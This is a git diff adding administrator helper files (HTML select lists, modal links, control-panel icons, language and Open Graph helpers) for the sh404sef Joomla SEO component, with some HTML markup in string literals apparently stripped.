self::_addMenuEntry(JText::_('COM_SH404SEF_ALIASES_MANAGER'), 'index.php?option=com_sh404sef&c=aliases&layout=default&view=aliases', $enabled); + $enabled = $enabledDefault && ($view != 'pageids'); + self::_addMenuEntry(JText::_('COM_SH404SEF_PAGEID_MANAGER'), 'index.php?option=com_sh404sef&c=pageids&layout=default&view=pageids', $enabled); + $enabled = $enabledDefault && ($view != 'urls' || $layout != 'view404'); + self::_addMenuEntry(JText::_('COM_SH404SEF_404_REQ_MANAGER'), 'index.php?option=com_sh404sef&c=urls&layout=view404&view=urls', $enabled); + $enabled = $enabledDefault && ($view != 'metas'); + self::_addMenuEntry(JText::_('COM_SH404SEF_TITLE_METAS_MANAGER'), 'index.php?option=com_sh404sef&c=metas&layout=default&view=metas', $enabled); + $enabled = $enabledDefault && ($view != 'analytics'); + self::_addMenuEntry(JText::_('COM_SH404SEF_ANALYTICS_MANAGER'), 'index.php?option=com_sh404sef&c=analytics&layout=default&view=analytics', + $enabled); + $enabled = $enabledDefault && ($view != 'default' || $layout != 'info'); + self::_addMenuEntry(JText::_('COM_SH404SEF_DOCUMENTATION'), 'index.php?option=com_sh404sef&layout=info&view=default&task=info', $enabled); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.php new file mode 100644 index 00000000..71412f84 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.php @@ -0,0 +1,748 @@ + $component->element, 'title' => $component->name); + } + } + + // use helper to build html + $list = self::buildSelectList($data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + } + + /** + * Builds a select list with all possible user levels + * + * Adapted from JCal pro + * + * @param $current + * @param $name + * @param $autoSubmit + * @param $addSelectAll + * @param $selectAllTitle + */ + public static function buildUserLevelsList($current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', $customSubmit = '') + { + ShlSystem_Log::debug('sh404sef', + 'Sh404sefHelperHtml::buildUserLevelsList has been removed, not needed as there is no user levels anymore but groups instead'); + return array(); + } + + /** + * Method to create a select list of the installed components + * + * @access public + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildLanguagesSelectList($current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', + $customSubmit = '') + { + // load languages from DB + $languages = Sh404sefHelperLanguage::getInstalledLanguagesList(); + + // adjust to require format + $data = array(); + if (!empty($languages)) + { + foreach ($languages as $languages) + { + $data[] = array('id' => $languages->shortcode, 'title' => $languages->name); + } + } + + // use helper to build html + $list = self::buildSelectList($data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + } + + /** + * Method to create a select list of possible date ranges of the analytics dashboard + * + * @access public + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildDashboardDateRangeList($current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', + $customSubmit = '') + { + // build up list from scratch + $data = array(); + $data[] = array('id' => 'week', 'title' => JText::_('COM_SH404SEF_WEEK')); + $data[] = array('id' => 'month', 'title' => JText::_('COM_SH404SEF_MONTH')); + $data[] = array('id' => 'year', 'title' => JText::_('COM_SH404SEF_YEAR')); + + // use helper to build html + $list = self::buildSelectList($data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + } + + /** + * Method to create a select list of possible data types of the analytics dashboard + * + * @access public + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildDashboardDataTypeList($current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', + $customSubmit = '') + { + // build up list from scratch + $data = array(); + $data[] = array('id' => 'ga:pageviews', 'title' => JText::_('COM_SH404SEF_ANALYTICS_DATA_PAGEVIEWS')); + $data[] = array('id' => 'ga:visits', 'title' => JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITS')); + $data[] = array('id' => 'ga:visitors', 'title' => JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITORS')); + + // use helper to build html + $list = self::buildSelectList($data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + } + + /** + * Method to create a select list + * + * @access public + * @param array $data elements of the select list. An array of (id, title) arrays + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildSelectList($data, $current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', + $customSubmit = '') + { + // should we autosubmit ? + $customSubmit = empty($customSubmit) ? ' onchange="document.adminForm.limitstart.value=0;document.adminForm.submit();"' : $customSubmit; + $extra = $autoSubmit ? $customSubmit : ''; + + // add select all option + if ($addSelectAll) + { + array_unshift($data, JHTML::_('select.option', 0, $selectAllTitle, 'id', 'title')); + } + // use joomla lib to build the list + return JHTML::_('select.genericlist', $data, $name, $extra, 'id', 'title', $current); + } + + /** + * Method to create a select list + * + * @access public + * @param array $data elements of the select list. An array of (id, title) arrays + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildGroupedSelectList($data, $current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', + $customSubmit = '') + { + // should we autosubmit ? + $customSubmit = empty($customSubmit) ? ' onchange="document.adminForm.limitstart.value=0;document.adminForm.submit();"' : $customSubmit; + $extra = $autoSubmit ? $customSubmit : ''; + + // add select all option + if ($addSelectAll) + { + array_unshift($data, JHTML::_('select.option', 0, $selectAllTitle, 'id', 'title')); + } + // use joomla lib to build the list + return JHTML::_('select.groupedlist', $data, $name, array('option.key' => 'id', 'option.text' => 'title', 'list.select' => $current)); + } + + /** + * Method to create a select list + * + * @access public + * @param int ID of current item + * @param string name of select list + * @return string HTML output + */ + public static function buildBooleanAndDefaultSelectList($selected, $name) + { + $arr = array(JHtml::_('select.option', SH404SEF_OPTION_VALUE_NO, JText::_('JNO')), + JHtml::_('select.option', SH404SEF_OPTION_VALUE_YES, JText::_('JYES')), + JHtml::_('select.option', SH404SEF_OPTION_VALUE_USE_DEFAULT, JText::_('JOPTION_USE_DEFAULT'))); + return JHtml::_('select.genericlist', $arr, $name, '', 'value', 'text', (int) $selected); + } + + /** + * Add an admin sub menu entry, accounting for J2/J3 + * syntax differences + * + * @param string $name display name of menu entry + * @param string $link link associated to menu entry + * @param boolean $enabled if false, menu entry is displayed but disabled + */ + protected static function _addMenuEntry($name, $link, $enabled) + { + if (version_compare(JVERSION, '3.0', 'ge')) + { + $enabled = $enabled === -1 ? $enabled : !$enabled; + JHtmlSidebar::addEntry($name, $link, $enabled); + } + else + { + JSubMenuHelper::addEntry($name, $link, $enabled); + } + } + + /** + * Render the sidebar. + * + * @return string The necessary HTML to display the sidebar + * + * @since 3.0 + */ + public static function renderSubmenu() + { + // Collect display data + $data = new stdClass; + $data->list = JHtml::_('sidebar.getEntries'); + $data->filters = JHtml::_('sidebar.getFilters'); + $data->action = JHtml::_('sidebar.getAction'); + $data->displayMenu = count($data->list); + $data->displayFilters = count($data->filters); + $data->hide = JFactory::getApplication()->input->getBool('hidemainmenu'); + + // Create a layout object and ask it to render the sidebar + $sidebarHtml = ShlMvcLayout_Helper::render('com_sh404sef.submenus.submenu', $data); + return $sidebarHtml; + } + + /** + * Wraps a text into a div to display a title visible by hovering + * over text + * + * @param string $text text to be displayed + * @param string $title title if any + */ + public static function wrapTitle($text, $title = '') + { + $html = empty($title) ? $text : '
    ' . $text . '
    '; + return $html; + } + + /** + * Wraps a text into a span to display a tooltip visible by hovering + * over text + * + * @param string $text text to be displayed + * @param string $title title if any + * @param string $tip tip, if any + */ + public static function wrapTip($text, $title = '', $tip = '', $class = 'hasTip') + { + $html = empty($title) ? $text + : '
    ' . $text + . '
    '; + return $html; + } + + /** + * + * Enclose a tip title and a tip text in a tag, for usage in a bootstrap tooltip + * @param string $title + * @param string $tip + * @param string $openingTitleTag + * @param string $closingTitleTag + * @return string wrapped title + */ + public static function wrapBootstrapTipTitle($title = '', $tip = '', $openingTitleTag = '

    ', $closingTitleTag = '

    ') + { + $html = 'title="' . $openingTitleTag . $title . $closingTitleTag . $tip . '"'; + + return $html; + } + + /** + * Shorten a text string, using sizes predefined in the program configuration + * + * @param string $text the text to be shorteb + * @param string $type index of shortening dimensions in modalTitleSizes program config array + * @return string + */ + public static function abridge($text, $type) + { + return JHtml::_('string.abridge', $text, Sh404sefFactory::getPConfig()->modalTitleSizes[$type]['l'], + Sh404sefFactory::getPConfig()->modalTitleSizes[$type]['i']); + } + + /** + * A copy of Joomla own modal helper function, + * giving access to more params + * + * @param $selector selector class to stitch modal javascript on + * @param $params an array of key/values pairs to be passed as options to SqueezeBox + */ + public static function modal($selector = 'a.modal', $params = array()) + { + static $modals; + static $included; + + $document = JFactory::getDocument(); + + // Load the necessary files if they haven't yet been loaded + if (!isset($included)) + { + + // load js framework + JHtml::_('behavior.framework', true); + + // Load the javascript and css + $uncompressed = JFactory::getConfig()->get('debug') ? '-uncompressed' : ''; + JHtml::_('script', 'system/modal' . $uncompressed . '.js', true, true); + JHtml::_('stylesheet', 'system/modal.css', array(), true); + + // our flag to block opening several Squeezboxes + $document = JFactory::getDocument(); + $document->addScriptDeclaration('var shAlreadySqueezed = false;'); + $document->addScriptDeclaration('var shReloadModal = true;'); + + $included = true; + } + + if (!isset($modals)) + { + $modals = array(); + } + + $sig = md5(serialize(array($selector, $params))); + if (isset($modals[$sig]) && ($modals[$sig])) + { + return; + } + + // Setup options object + $options = self::makeSqueezeboxOptions($params); + + // Attach modal behavior to document + $document + ->addScriptDeclaration( + " + window.addEvent('domready', function() { + + SqueezeBox.initialize({" . $options . "}); + + $$('" . $selector + . "').each(function(el) { + el.addEvent('click', function(e) { + new Event(e).stop(); + if (!window.parent.shAlreadySqueezed) { + window.parent.shAlreadySqueezed = true; + window.parent.SqueezeBox.fromElement(el, {parse:'rel'}); + } + }); + }); + });"); + + // Set static array + $modals[$sig] = true; + return; + } + + public static function makeSqueezeboxOptions($params = array()) + { + // Setup options object + $opt = array(); + + $opt['ajaxOptions'] = (isset($params['ajaxOptions']) && (is_array($params['ajaxOptions']))) ? $params['ajaxOptions'] : null; + $opt['size'] = (isset($params['size']) && (is_array($params['size']))) ? $params['size'] : null; + $opt['sizeLoading'] = (isset($params['sizeLoading']) && (is_array($params['sizeLoading']))) ? $params['sizeLoading'] : null; + $opt['marginInner'] = (isset($params['marginInner']) && (is_array($params['marginInner']))) ? $params['marginInner'] : null; + $opt['marginImage'] = (isset($params['marginImage']) && (is_array($params['marginImage']))) ? $params['marginImage'] : null; + + $opt['overlayOpacity'] = (isset($params['overlayOpacity'])) ? $params['overlayOpacity'] : null; + $opt['classWindow'] = (isset($params['classWindow'])) ? $params['classWindow'] : null; + $opt['classOverlay'] = (isset($params['classOverlay'])) ? $params['classOverlay'] : null; + $opt['disableFx'] = (isset($params['disableFx'])) ? $params['disableFx'] : null; + + $opt['onOpen'] = (isset($params['onOpen'])) ? $params['onOpen'] : null; + $opt['onClose'] = (isset($params['onClose'])) ? $params['onClose'] : null; + $opt['onUpdate'] = (isset($params['onUpdate'])) ? $params['onUpdate'] : null; + $opt['onResize'] = (isset($params['onResize'])) ? $params['onResize'] : null; + $opt['onMove'] = (isset($params['onMove'])) ? $params['onMove'] : null; + $opt['onShow'] = (isset($params['onShow'])) ? $params['onShow'] : null; + $opt['onHide'] = (isset($params['onHide'])) ? $params['onHide'] : null; + + $opt['fxOverlayDuration'] = (isset($params['fxOverlayDuration'])) ? $params['fxOverlayDuration'] : null; + $opt['fxResizeDuration'] = (isset($params['fxResizeDuration'])) ? $params['fxResizeDuration'] : null; + $opt['fxContentDuration'] = (isset($params['fxContentDuration'])) ? $params['fxContentDuration'] : null; + + $options = self::JGetJSObject($opt); + + $options = substr($options, 0, 1) == '{' ? substr($options, 1) : $options; + $options = substr($options, -1) == '}' ? substr($options, 0, -1) : $options; + + return $options; + } + + /** + * Internal method to get a JavaScript object notation string from an array + * Copied over from Joomla lib, for access reasons + * + * @param array $array The array to convert to JavaScript object notation + * @return string JavaScript object notation representation of the array + * @since 1.5 + */ + public static function JGetJSObject($array = array()) + { + // Initialize variables + $object = '{'; + + // Iterate over array to build objects + foreach ((array) $array as $k => $v) + { + if (is_null($v)) + { + continue; + } + if (!is_array($v) && !is_object($v)) + { + $object .= ' ' . $k . ': '; + $object .= (is_numeric($v) || strpos($v, '\\') === 0) ? (is_numeric($v)) ? $v : substr($v, 1) : "'" . $v . "'"; + $object .= ','; + } + else + { + $object .= ' ' . $k . ': ' . self::JGetJSObject($v) . ','; + } + } + if (substr($object, -1) == ',') + { + $object = substr($object, 0, -1); + } + $object .= '}'; + + return $object; + } + + /** + * Builds up an html link using the various parts supplied + * + * @param $view a JView object, to be able to escape output text + * @param $linkData an array of key/value pairs to build up the target links + * @param $elementData an array holding element data : title, class, rel + * @param $modal boolean, if true, required stuff to make the link open in modal box is added + * @param $hasTip boolean, if true, required stuff to turn elementData['title'] into a tooltip is added + * @param $extra an array holding key/value pairs, will be added as raw attributes to the link + */ + public static function makeLink($view, $linkData, $elementData, $modal = false, $modalOptions = array(), $hasTip = false, $extra = array()) + { + // calculate target link + if ($modal) + { + $linkData['tmpl'] = 'component'; + } + $url = Sh404sefHelperUrl::buildUrl($linkData); + $url = JRoute::_($url); + + // calculate title + $title = empty($elementData['title']) ? '' : $elementData['title']; + $title = is_null($view) ? $title : $view->escape($title); + + $attribs = array(); + + // calculate class + $class = empty($elementData['class']) ? '' : $elementData['class']; + if ($hasTip) + { + $class .= ' ' . $hasTip; + } + + // store title in attributes array + if (!empty($title)) + { + $attribs['title'] = $title; + } + + // store in attributes array + if (!empty($class)) + { + $attribs['class'] = $class; + } + + // calculate modal information + $rel = empty($elementData['rel']) || is_null($view) ? '' : $view->escape($elementData['rel']); + if ($modal) + { + $modalOptionsString = self::makeSqueezeboxOptions($modalOptions); + $rel .= ' {handler: \'iframe\'' . (empty($modalOptionsString) ? '' : ', ' . $modalOptionsString) . '}'; + } + + // store in attributes array + if (!empty($rel)) + { + $attribs['rel'] = $rel; + } + + // any custom attibutes ? + if (!empty($extra)) + { + foreach ($extra as $key => $value) + { + $attribs[$key] = $value; + } + } + + // finish link + $anchor = empty($elementData['anchor']) ? $title : $elementData['anchor']; + + return JHTML::link($url, $anchor, $attribs); + + } + + public static function gridMainUrl(&$url, $i) + { + $isMain = $url->rank == 0; + + $imgPrefix = $isMain ? '' : '-non'; + $img = 'components/com_sh404sef/assets/images/icon-16' . $imgPrefix . '-default.png'; + + if ($isMain) + { + $alt = JText::_('COM_SH404SEF_DUPLICATE_IS_MAIN'); + $href = '' . $alt . ''; + } + else + { + $alt = JText::sprintf('COM_SH404SEF_DUPLICATE_MAKE_MAIN', $url->oldurl); + $href = ' + + ' . $alt . ''; + } + return $href; + } + + /** + * Returns html to display a main control panel icon + * + * @param string $function name of function performed by icon + */ + public static function getCPImage($function) + { + switch ($function) + { + case 'config_base': + $img = ' '; + $linkData = array('c' => 'config', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG') . ''); + $modalOptions = array('size' => array('x' => '\\window.getScrollSize().x*.9', 'y' => '\\window.getSize().y*.9')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_ext': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'ext', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_EXT_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_EXT') . ''); + $modalOptions = array('size' => array('x' => '\\window.getScrollSize().x*.9', 'y' => '\\window.getSize().y*.9')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_error_page': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'errordocs', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_ERROR_PAGE_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_ERROR_PAGE') . ''); + $modalOptions = array('size' => array('x' => '\\window.getScrollSize().x*.9', 'y' => '\\window.getSize().y*.9')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_seo': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'seo', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_SEO_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_SEO') . ''); + $modalOptions = array('size' => array('x' => 700, 'y' => '\\window.getSize().y*.7')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_social_seo': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'social_seo', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_SOCIAL_SEO_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_SOCIAL_SEO') . ''); + $modalOptions = array('size' => array('x' => 700, 'y' => '\\window.getSize().y*.7')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_sec': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'sec', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_SEC_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_SEC') . ''); + $modalOptions = array('size' => array('x' => 700, 'y' => '\\window.getSize().y*.9')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + case 'config_analytics': + $img = ' '; + $linkData = array('c' => 'config', 'layout' => 'analytics', 'tmpl' => 'component'); + $urlData = array('title' => JText::_('COM_SH404SEF_CONFIG_ANALYTICS_DESC'), 'class' => 'modalediturl', + 'anchor' => $img . '' . JText::_('COM_SH404SEF_CONFIG_ANALYTICS') . ''); + $modalOptions = array('size' => array('x' => 700, 'y' => '\\window.getSize().y*.9')); + $link = self::makeLink(null, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + break; + + case 'urlmanager': + $img = 'icon-48-sefmanager.png'; + $title = JText::_('COM_SH404SEF_VIEWURLDESC'); + $anchor = JText::_('COM_SH404SEF_VIEWURL'); + $link = 'index.php?option=com_sh404sef&c=urls&layout=default&view=urls'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case '404manager': + $img = 'icon-48-404log.png'; + $title = JText::_('COM_SH404SEF_VIEW404DESC'); + $anchor = JText::_('COM_SH404SEF_404_MANAGER'); + $link = 'index.php?option=com_sh404sef&c=urls&layout=view404&view=urls'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case 'aliasesmanager': + $img = 'icon-48-aliases.png'; + $title = JText::_('COM_SH404SEF_ALIASES_HELP'); + $anchor = JText::_('COM_SH404SEF_ALIASES_MANAGER'); + $link = 'index.php?option=com_sh404sef&c=aliases&layout=default&view=aliases'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case 'pageidmanager': + $img = 'icon-48-pageid.png'; + $title = JText::_('COM_SH404SEF_CP_PAGEID_HELP'); + $anchor = JText::_('COM_SH404SEF_PAGEID_MANAGER'); + $link = 'index.php?option=com_sh404sef&c=pageids&layout=default&view=pageids'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case 'metamanager': + $img = 'icon-48-metas.png'; + $title = JText::_('COM_SH404SEF_META_TAGS_DESC'); + $anchor = JText::_('COM_SH404SEF_META_TAGS'); + $link = 'index.php?option=com_sh404sef&c=metas&layout=default&view=metas'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case 'analytics': + $img = 'icon-48-analytics.png'; + $title = JText::_('COM_SH404SEF_ANALYTICSDESC'); + $anchor = JText::_('COM_SH404SEF_ANALYTICS_MANAGER'); + $link = 'index.php?option=com_sh404sef&c=analytics&layout=default&view=analytics'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + case 'doc': + $img = 'icon-48-doc.png'; + $title = JText::_('COM_SH404SEF_INFODESC'); + $anchor = JText::_('COM_SH404SEF_INFO'); + $link = 'index.php?option=com_sh404sef&layout=info&view=default&task=info'; + $link = self::_doLinkCPImage($img, $title, $anchor, $link); + break; + } + + return $link; + + } + + private static function _doLinkCPImage($img, $title, $anchor, $link) + { + $link = ''; + $link .= ' '; + $link .= '' . $anchor . ''; + + return $link; + } + + public static function setFixedTemplate() + { + // hacking again + $template = JFactory::getApplication()->getTemplate($params = true); + $sticky = $template->params->get('stickyToolbar', 1); + $statusFixed = $template->params->get('statusFixed', 1); + if ($template->template == 'isis' && $sticky && $statusFixed) + { + // try to fix the header and subheader + $js = 'jQuery(document).ready(function(){ + jQuery("header.header").addClass("shl-fixed-header"); + jQuery("div.subhead").addClass("shl-fixed-subheader"); + });'; + JFactory::getDocument()->addScriptDeclaration($js); + $sticky = true; + } + else + { + $sticky = false; + } + + return $sticky; + } + + public static function moveHtmlContentOnWidth($threshold, $fromId, $toId) + { + $js = 'jQuery(document).ready(function(){ + var w = jQuery(window).width(); + if(w > ' . $threshold . ') { + var c = jQuery("#' . $fromId . '").html(); + jQuery("#' . $fromId . '").html("");' . (empty($toId) ? '' : 'jQuery("#' . $toId . '").html(c);') . '} + });'; + + return $js; + } + +} + +// now include version (lite/pro) specific things +include_once 'html.' . Sh404sefConfigurationEdition::$id . '.php'; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/language.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/language.php new file mode 100644 index 00000000..e53949f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/language.php @@ -0,0 +1,288 @@ +loadString($plugin->params); + $shouldInsert = $params->get('remove_default_prefix', false); + $shouldInsert = empty($shouldInsert); + } + } + + return $shouldInsert; + } + + public static function getLanguageFilterWarning() + { + static $displayed = false; + + if (!$displayed) + { + $displayed = true; + $app = JFactory::getApplication(); + + // figure out whether we should display the warning + // only on html page, and on display or info tasks + $format = $app->input->getCmd('format', 'html'); + if ($format != 'html') + { + return ''; + } + $task = $app->input->getCmd('task', 'display'); + if ($task != 'display' && $task != 'info') + { + return ''; + } + + // only if this is supposed to be a ML site + // that would be if the not-used anymore enableMultiLingualSupport + // was false + $sefConfig = Sh404sefFactory::getConfig(); + if (!$sefConfig->enableMultiLingualSupport) + { + return ''; + } + + // or if there's only one language on the site + $languages = JLanguageHelper::getLanguages('sef'); + if (count($languages) <= 1) + { + return ''; + } + + // and only if the plugin is not enabled ofc + $plugin = JPluginHelper::getPlugin('system', 'languagefilter'); + if (!empty($plugin)) + { + return ''; + } + + // insert message + $message = JText::_('COM_SH404SEF_LANGUAGEFILTER_PLUGIN_WARNING'); + if (version_compare(JVERSION, '3.0', 'ge')) + { + return ShlMvcLayout_Helper::render('com_sh404sef.general.warning', array('warning' => $message)); + } + else + { + return $message; + } + } + + } + + /** + * Find a language family + * + * @param object $language a Joomla! language object + * @return string a 2 or 3 characters language family code + */ + public static function getFamily($language = null) + { + if (!is_object($language)) + { + // get application db instance + $language = JFactory::getLanguage(); + } + + $code = $language->get('lang'); + $bits = explode('-', $code); + return empty($bits[0]) ? 'en' : $bits[0]; + } + + /** + * Get language tag from a url language code + * + * @param string $langCode + * @return string + */ + public static function getLangTagFromUrlCode($langCode) + { + + $languages = JLanguageHelper::getLanguages('sef'); + if (!empty($languages[$langCode])) + { + $urlLangTag = $languages[$langCode]->lang_code; + } + else + { + $urlLangTag = self::getDefaultLanguageTag(); + } + + return $urlLangTag; + } + + /** + * Get url short language code from a full language tag + * + * @param string $langTag + * @return string + */ + public static function getUrlCodeFromTag($langTag) + { + $languages = JLanguageHelper::getLanguages('lang_code'); + if (!empty($languages[$langTag])) + { + $urlLangCode = $languages[$langTag]->sef; + } + else + { + $urlLangTag = self::getDefaultLanguageTag(); + $urlLangCode = $languages[$urlLangTag]->sef; + } + + return $urlLangCode; + } + + public static function getDefaultLanguageSef() + { + return self::getUrlCodeFromTag(self::getDefaultLanguageTag()); + } + + /** + * Get installed front end language list + * + * @access private + * @return array + */ + public static function getInstalledLanguagesList($site = true) + { + static $languages = null; + + if (is_null($languages)) + { + $db = ShlDbHelper::getDb(); + + // is there a languages table ? + $languages = array(); + $languagesTableName = $db->getPrefix() . 'languages'; + $tablesList = $db->getTableList(); + if (is_array($tablesList) && in_array($languagesTableName, $tablesList)) + { + try + { + $query = 'SELECT * FROM #__languages'; + $db->setQuery($query); + $languages = $db->loadObjectList(); + } + catch (Exception $e) + { + JError::raiseWarning('SOME_ERROR_CODE', "Error loading languages lists: " . $e->getMessage()); + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + return false; + } + // match fields name to what we need, those were changed in version 2.2 of JF + foreach ($languages as $key => $language) + { + if (empty($language->id)) + { + $languages[$key]->id = $language->lang_id; + } + if (empty($language->name)) + { + $languages[$key]->name = $language->title; + } + if (empty($language->code)) + { + $languages[$key]->code = $language->lang_code; + } + if (empty($language->shortcode)) + { + $languages[$key]->shortcode = $language->sef; + } + if (empty($language->active) && empty($language->published)) + { + // drop this language, it is not published + unset($languages[$key]); + } + } + } + } + + return $languages; + } + + /** + * Returns the full language tag for the site default language + * + * @return string + */ + public static function getDefaultLanguageTag() + { + return JComponentHelper::getParams('com_languages')->get('site', 'en-GB'); + } + + /** + * Returns the full language tag for the site default language + * + * @return string + */ + public static function getLanguageFilterPluginParam($paramName, $default = null) + { + static $params = null; + + if (is_null($params)) + { + $plugin = JPluginHelper::getPlugin('system', 'languagefilter'); + $params = new JRegistry(); + $params->loadString(empty($plugin) ? '' : $plugin->params); + } + + return is_null($params) ? $default : $params->get($paramName, $default); + } + + /** + * Sets a Jooml! language cookie, deleting existing one if any + * + * @param string $languageCode the new target language code (ie: en-GB) + * @param int $cookieTime cookie duration time, set in params or default to 0 + */ + public static function setLanguageCookie($languageCode = null, $cookieTime = 0) + { + $languageCode = empty($languageCode) ? Sh404sefHelperLanguage::getDefaultLanguageTag() : $languageCode; + // Create a cookie + $conf = JFactory::getConfig(); + $cookieName = JApplication::getHash('language'); + $cookieDomain = $conf->get('config.cookie_domain', ''); + $cookiePath = $conf->get('config.cookie_path', '/'); + // set new cookie, both in browser and in internal application vars + $app = JFactory::getApplication(); + $app->input->cookie->set($cookieName, $languageCode, $cookieTime, $cookiePath, $cookieDomain, false, true); + JRequest::setVar($cookieName, $languageCode, 'cookie'); + // as Joomla languagefilter also sets this cookie disregarding the path,domain and duration parameters, we must set it twice + $app->input->cookie->set($cookieName, $languageCode); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.php new file mode 100644 index 00000000..d27eae8b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.php @@ -0,0 +1,65 @@ + $typeDef['name'], 'title' => JText::_($typeDef['title'])); + } + + // add select all option + if ($addSelectDefault) + { + $selectDefault = array('id' => SH404SEF_OPTION_VALUE_USE_DEFAULT, 'title' => $selectDefaultTitle); + array_unshift($data, $selectDefault); + } + + // use helper to build html + $list = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit, $addSelectAll = false, $selectAllTitle = '', $customSubmit); + + // return list + return $list; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.xml b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.xml new file mode 100644 index 00000000..e722fad1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/ogp.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/security.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/security.php new file mode 100644 index 00000000..fb758a88 --- /dev/null +++ 